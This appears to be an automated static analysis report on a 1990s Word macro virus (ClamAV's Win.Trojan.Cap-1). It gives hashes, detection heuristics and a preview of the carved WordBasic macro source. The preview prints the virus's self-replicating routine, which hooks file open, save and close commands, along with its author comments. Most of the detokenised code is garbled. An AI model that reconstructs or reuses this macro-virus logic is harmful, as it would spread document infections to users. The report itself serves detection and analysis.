Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1ac5f3fc9d86eb88…

MALICIOUS

Office (OLE)

9.0 KB First seen: 2014-02-16
MD5: 002a22e244396d6d7ceaf5a3747912b9 SHA-1: 2e691cc4b1e99fb26ebd2ab56e36cb39317f8ae9 SHA-256: 1ac5f3fc9d86eb882bc2b9d46c6860ea62b05092a74b34a67ec89d87add9011a
102 Risk Score

Heuristics 3

  • ClamAV: Win.Trojan.Cap-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Cap-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 2321 bytes
SHA-256: 7b257d1e8dbb9da9b29d4fee9dcb7f642cbf7c92bac718aecd7d880518196506
Preview script
First 1,000 lines of the extracted script
, , = = = = = = = , = , 20325 21349 29551 17253 29551 21349 19827 21605 29793   25961
25964 25961 = =  
MAIN
REM C.A.P: Un virus social.. y ahora digital..
REM "j4cKy Qw3rTy" (jqw3rty@hotmail.com).
REM Venezuela, Maracay, Dic 1996.
REM P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
M$ 9
S F$
, -
S$ = "F%"
D$ = "Macro"
C$ = "Close"
B$ = "Open"
A$ = "File"
M$ 0 = "CAP"
M$ 3 = A$ = C$
M$ 5 = A$ = "Save"
M$ 2 = A$ = B$
M$ 9 = A$ = "Templates"
A$ = "Auto"
M$ 6 = M$ 5 = "As"
M$ 1 = A$ = B$
M$ 8 = A$ = "Exec"
M$ 4 = A$ = C$
M$ 7 = "Tools" = D$
M = 0
N = 0
T = 1 0 1
I = @cmd80b7 T 1 1
B$ = @cmd80b8 I , T
S$ = @cmd8008 @cmd80be B$ , 2
J = 0 9
B$ = M$ J
T N = N = 1   M = M = 1
J = 9
@cmd00d7 = B$ , = T = T = 1 ,
F$
M 10 N
@cmd00d1 = 0 , = 1 , = 1 , = "10"
I = 0 9
I 7 K = 1   K = 0
@cmd80c2 F$ = ":" = M$ I , M$ I , K
B$ = S$ = @cmd80ea @cmd8007 @cmd8006 @cmd800a @cmd80be M$ 7 , 3 = 1
@cmd00d7 = M$ 7 , = 1 , = B$ ,
A$ = @cmd8140 0 , 1
I = @cmd80b7 1 1 1
J = 0
B$ = @cmd80b8 I , 1
@cmd80be B$
S$ = "O"
J = 2
S$ = "C"
J = 3
S$ = "S"
J = 5
S$ = "SA"
J = 6
J
C$ = @cmd813e A$ , 0 , J
@cmd8008 @cmd80af C$ , @cmd8003 M$ J @cmd80af M$ J @cmd8008 C$ , 1 "(" @cmd80c2 F$ = ":" = B$ , C$ , K
T = 1
I = 0 1
I J = 1   J = 6
A$ = @cmd8140 I , J
J = @cmd8141 A$ , I 1
M = J 1 1
@cmd800f @cmd813e A$ , I , M , D$
I
B$ = @cmd813e A$ , I , M 2
@cmd80af B$ @cmd80af M$ 9 @cmd8008 B$ , 1 "(" @cmd80c2 9 , B$ , K
M = M = 1
T = M M 1 1
T 3 @cmd01b1 = I , + = T , = @cmd813e A$ , I , T , = = A$ , , = 0
M = 1
T = 0
T
I = 6 J
@cmd8008 @cmd813e A$ , 1 , I , 1 = "(" @cmd8008 @cmd813e A$ , 1 , I 2 , 1 = "("
T = 1 3 2
B$ = @cmd813e A$ , 1 , I T
@cmd8008 B$ , 1 "(" @cmd80c2 M$ T = 6 , B$ , K
I = J
D @cmd0054
D
N 10 D = 1 D = 0 D = 6
D = 1
I = @cmd80b7 0 1 1
B$ = @cmd80b8 I , 0
B$ M$ 7 K = 1   K = 0
@cmd80c2 B$ , F$ = ":" = B$ , K
@cmd0054 D
Err = 0
FO
, -
@cmd80d6
, - * E
D @cmd0050
D
D
@cmd0050 D
S D
FC
, -
@cmd80d6
S @cmd8025
@cmd80a0
FS
, -
@cmd80d6
, - * F
@cmd0053
S @cmd8025
FSA
, -
@cmd80d6
, - * G
D @cmd0054
D
D 1
D
@cmd0054 D
S D
T = @cmd803e
W$ = D
@cmd004f = @cmd8025
, - * H
D
D = W$
D
@cmd0054 D
, - * G
S D
T @cmd803e T = T = 1
@cmd80de T
@cmd80a0 2
MAIN
, -
@cmd80d6 0
CAP
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP @cmd8025
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP

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